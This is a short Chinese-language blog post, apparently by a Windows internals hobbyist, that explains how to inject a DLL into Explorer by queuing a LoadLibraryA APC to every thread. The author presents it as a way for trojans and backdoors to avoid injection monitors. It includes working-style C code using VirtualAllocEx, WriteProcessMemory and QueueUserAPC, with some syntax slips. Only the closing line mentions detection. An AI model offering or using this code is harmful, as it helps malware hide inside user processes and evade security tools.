“暴力”注入Explorer
pjf(jfpan20000@sina.com)
寫點無聊的東西,一段時間blog弄得不成樣子了。
向一個運行中的進程注入自己的代碼,最自然莫過於使用CreateRemoteThread,
如今遠線程注入已經是泛濫成災,同樣的監測遠線程注入、防止遠線程注入的工具也
舉不勝舉,一個木馬或後門啟動時向Explorer或IE的注入操作就像在自己臉上寫上
“我是賊”一樣。
使用者態代碼想要更隱蔽地藏身於別的進程,就應該在注入的環節隱蔽自己的行
為。下面就介紹一種非常簡單不過比較暴力的方法,給出的樣本為在Explorer裡加
載自己的dll。
首先提到的就是一個API:QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
;
大家對這個API應該並不陌生,它直接轉入了系統服務NtQueueApcThread從而利
用KeInsertQueueApc向給出的目標線程的APC隊列插入一APC對象。倘若KiDeliverApc
順利的去構造apc環境並執行我們的代碼那一切就OK了,只可惜沒有那麼順利的事,
ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是你等到花兒都謝了
你的代碼還是沒得到執行。在核心態往往不成問題,自己動手賦值,可是使用者態
程式可不好做,怎麼辦?其實最簡單的,不好做就不做囉,讓系統去幹。
實際上應用程式在請求“alertable”的等待時系統就會置UserApcPending為
TRUE(當KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
使用TestForAlertPending時就有可能,此外還有KeTestAlertThread等,機會還是有的
),最簡單的例子,目標線程調用SleepEx(***, TRUE)後我們插入APC代碼就會乖乖執
行了。
比較幸運的是Explorer進程中一般情況下總有合我們意的線程,於是最簡單但並不
優美的辦法就是枚舉Explorer中所有線程,全數插入,示意如下:
......
DWORD ret;
char *DllName = "c://MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......
其中InjectDll:
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}
LoadLibraryA被調用後即將你的DLL載入入目標進程Explorer,運行是在目標進程的某
個線程環境中,一般你的DLL可以這時建立自己的線程。
這樣,整個過程雖然有些暴力(原因很明顯,比如原本UserApcPending為TRUE的線程
被弄成了FALSE等等),並且僅是一次性插入,缺陷是明顯的,不過插入過程的確更為隱蔽。
針對使用這種的“無恥”方法的程式,檢/監測程式就需要增加一些判斷,比如對
NtQueueApcThread的合理監測等等。